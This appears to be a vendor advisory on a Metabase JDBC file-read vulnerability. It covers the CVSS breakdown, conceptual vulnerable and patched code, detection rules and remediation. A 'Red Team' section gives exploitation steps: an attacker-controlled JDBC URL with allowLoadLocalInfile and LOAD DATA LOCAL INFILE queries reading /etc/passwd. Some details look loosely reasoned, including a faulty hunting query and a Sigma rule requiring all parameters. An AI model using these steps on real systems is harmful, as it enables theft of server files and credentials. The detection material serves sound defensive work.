CVE-2026-50147
Executive Summary
CVE-2026-50147 is a critical path traversal vulnerability in Metabase, an open-source business intelligence and embedded analytics tool. An authenticated attacker with the ability to configure a database connection can exploit unsafe JDBC parameters in MySQL or MariaDB connections to read arbitrary files from the Metabase server's filesystem. This is achieved by injecting JDBC connection parameters that cause the database driver to read local files and either expose their contents through query results or through validation error messages. The vulnerability affects versions from 1.57.0 up to the fixed releases. The CVSS score is 7.6 (High), with a vector emphasizing low-privilege network access and high confidentiality impact. No public proof-of-concept or exploit code has been identified at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Metabase is distributed as a Java JAR file and as a Docker image. The vulnerability is introduced through the JDBC driver for MySQL/MariaDB, which is a standard dependency. Users should verify the integrity of their Metabase installation by checking the SHA256 checksums provided by the vendor. The fix involves sanitizing or restricting JDBC connection parameters to prevent the use of dangerous options like allowLoadLocalInfile, allowUrlInLocalInfile, and allowLocalInfile. Organizations should ensure they are using the official Metabase Docker images or JAR files from the official GitHub releases.
CVSS Breakdown & Threat Level
- CVSS Score: 7.6 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - The attacker needs a valid account with permission to configure database connections.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Changed (C) - The vulnerable component (JDBC driver) impacts resources beyond its security scope (the server filesystem).
- Confidentiality (C): High (H) - Arbitrary file read can expose sensitive data like configuration files, credentials, and source code.
- Integrity (I): None (N) - The vulnerability does not allow modification of data.
- Availability (A): None (N) - The vulnerability does not affect availability.
Threat Level: High. The low privileges required and the potential for reading sensitive files (e.g., /etc/shadow, database credentials, application secrets) make this a critical risk for any Metabase deployment.
Deep Dive & Mechanics
The vulnerability lies in how Metabase constructs JDBC connection strings for MySQL and MariaDB databases. When a user configures a new database connection, Metabase allows the addition of arbitrary JDBC parameters. The MySQL/MariaDB JDBC driver supports several parameters that can be abused for file read operations:
allowLoadLocalInfile: When set totrue, the driver can load local files from the server usingLOAD DATA LOCAL INFILEstatements.allowUrlInLocalInfile: When set totrue, the driver can load files from URLs.allowLocalInfile: A legacy parameter that enables local file loading.
An attacker can craft a JDBC URL like:
jdbc:mysql://attacker-controlled-host:3306/malicious_db?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
Once the connection is established, the attacker can execute SQL queries that use LOAD DATA LOCAL INFILE to read arbitrary files from the Metabase server's filesystem. The contents of the file are then returned as part of the query result. Alternatively, if the file read fails, the error message may contain the file contents.
The attack flow:
- Attacker logs into Metabase with a user account that has permissions to add or edit database connections.
- Attacker creates a new database connection pointing to a MySQL/MariaDB server they control (or a legitimate server they can query).
- Attacker adds malicious JDBC parameters to the connection string.
- Attacker saves the connection and runs a query that triggers the file read.
- The JDBC driver reads the specified file from the Metabase server and returns its contents in the query results or error messages.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In DatabaseConnectionService.java
public Connection createConnection(DatabaseConfig config) {
String url = "jdbc:mysql://" + config.getHost() + ":" + config.getPort() + "/" + config.getDatabase();
if (config.getJdbcParams() != null) {
url += "?" + config.getJdbcParams(); // Unsafe: allows arbitrary parameters
}
return DriverManager.getConnection(url, config.getUser(), config.getPassword());
}
Patched Code (Conceptual):
// In DatabaseConnectionService.java
public Connection createConnection(DatabaseConfig config) {
String url = "jdbc:mysql://" + config.getHost() + ":" + config.getPort() + "/" + config.getDatabase();
// Whitelist safe parameters only
Map<String, String> safeParams = new HashMap<>();
if (config.getJdbcParams() != null) {
for (String param : config.getJdbcParams().split("&")) {
String[] keyValue = param.split("=", 2);
if (isSafeParameter(keyValue[0])) {
safeParams.put(keyValue[0], keyValue[1]);
}
}
}
if (!safeParams.isEmpty()) {
url += "?" + safeParams.entrySet().stream()
.map(e -> e.getKey() + "=" + e.getValue())
.collect(Collectors.joining("&"));
}
return DriverManager.getConnection(url, config.getUser(), config.getPassword());
}
private boolean isSafeParameter(String key) {
// Block dangerous parameters
return !key.equalsIgnoreCase("allowLoadLocalInfile") &&
!key.equalsIgnoreCase("allowUrlInLocalInfile") &&
!key.equalsIgnoreCase("allowLocalInfile");
}
The fix involves filtering out dangerous JDBC parameters before constructing the connection URL. The patched code only allows a whitelist of safe parameters.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Metabase instance running a vulnerable version (e.g., 1.60.3).
- A user account with "Database Admin" or equivalent permissions.
- A MySQL/MariaDB server you control (or a public test server).
Exploitation Steps:
Set up a malicious MySQL server (or use a public one like
test.mysql.com):# Using Docker to start a MySQL server docker run --name malicious-mysql -e MYSQL_ROOT_PASSWORD=root -d mysql:8Log into Metabase and navigate to Admin Settings > Databases > Add Database.
Configure the database connection with the following details:
- Database type: MySQL
- Host: IP of your malicious MySQL server
- Port: 3306
- Database name: test
- Username: root
- Password: root
- Additional JDBC options:
allowLoadLocalInfile=true&allowUrlInLocalInfile=true
Save the connection and then run a query:
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test_table FIELDS TERMINATED BY '\n';If the table doesn't exist, the error message may reveal the file contents.
Alternative method using a crafted query that returns the file content:
SELECT LOAD_FILE('/etc/passwd');Note:
LOAD_FILErequires theFILEprivilege on the MySQL server, butLOAD DATA LOCAL INFILEdoes not.
Expected Output:
The contents of /etc/passwd will be returned in the query results or error message.
Blue Team
Detection Steps:
- Monitor database connection creation events in Metabase logs. Look for connections with unusual JDBC parameters.
- Audit all existing database connections for the presence of dangerous JDBC parameters.
- Review network logs for outbound connections to unexpected MySQL servers (especially on non-standard ports).
- Check for queries that use
LOAD DATA LOCAL INFILEorLOAD_FILEfunctions.
Hunting Query (Metabase Application Database):
-- Look for database connections with dangerous JDBC options
SELECT id, name, engine, details
FROM metabase_database
WHERE engine IN ('mysql', 'mariadb')
AND details LIKE '%allowLoadLocalInfile%'
OR details LIKE '%allowUrlInLocalInfile%'
OR details LIKE '%allowLocalInfile%';
Log Analysis (Metabase logs):
# Search for suspicious connection strings
grep -i "allowLoadLocalInfile\|allowUrlInLocalInfile\|allowLocalInfile" /path/to/metabase/logs/*
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to MySQL servers on non-standard ports (e.g., 3306, 3307) from the Metabase server.
- DNS queries for domains hosting malicious MySQL servers.
- File System IOCs:
- Unexpected files read by the Metabase process (monitored via auditd or similar).
- Presence of temporary files created by the JDBC driver during file read operations.
- Application IOCs:
- Database connections with JDBC parameters containing
allowLoadLocalInfile,allowUrlInLocalInfile, orallowLocalInfile. - Error messages in Metabase logs containing file paths like
/etc/passwd,/etc/shadow, or application configuration files.
- Database connections with JDBC parameters containing
- Log IOCs:
- Metabase logs showing
LOAD DATA LOCAL INFILEqueries. - Database connection validation errors that include file contents.
- Metabase logs showing
Detection Engineering
YARA Rule
rule CVE_2026_50147_Metabase_JDBC_FileRead {
meta:
description = "Detects Metabase JDBC connection strings with dangerous file read parameters"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-50147"
severity = "high"
strings:
$dangerous_param1 = "allowLoadLocalInfile=true" nocase
$dangerous_param2 = "allowUrlInLocalInfile=true" nocase
$dangerous_param3 = "allowLocalInfile=true" nocase
$jdbc_prefix = "jdbc:mysql://" nocase
$jdbc_prefix2 = "jdbc:mariadb://" nocase
condition:
any of ($jdbc_prefix*) and any of ($dangerous_param*)
}
Sigma Rule
title: Metabase JDBC File Read via Dangerous Parameters
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Metabase database connections with dangerous JDBC parameters that allow arbitrary file read
author: Valters IT
date: 2026/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-50147
logsource:
category: application
product: metabase
detection:
selection:
event: database_connection_created
details|contains|all:
- 'allowLoadLocalInfile'
- 'allowUrlInLocalInfile'
- 'allowLocalInfile'
condition: selection
falsepositives:
- Legitimate use of LOAD DATA LOCAL INFILE in controlled environments
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 3306 (msg:"CVE-2026-50147 Metabase JDBC File Read - Outbound to MySQL"; flow:to_server,established; content:"LOAD DATA LOCAL INFILE"; nocase; sid:1000001; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET 3306 (msg:"CVE-2026-50147 Metabase JDBC File Read - Dangerous JDBC Parameter"; content:"allowLoadLocalInfile"; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Metabase to the latest patched version (1.57.19.1, 1.58.14.1, 1.59.10, or 1.60.4).
- Audit all existing database connections for dangerous JDBC parameters and remove them.
- Restrict database connection permissions to only trusted users.
Long-term Mitigations:
- Implement network segmentation to limit outbound connections from the Metabase server.
- Use a web application firewall (WAF) to inspect and block malicious JDBC connection strings.
- Enable audit logging on the Metabase server to track database connection changes.
- Regularly review Metabase logs for suspicious activity.
- Apply the principle of least privilege to Metabase user accounts.
Workaround (if patching is not immediately possible):
- Manually edit the Metabase configuration to block dangerous JDBC parameters by modifying the source code or using a reverse proxy to filter connection strings.
Valters IT
DevSecOps & Cyber Threat Intelligence
Securing your digital frontier.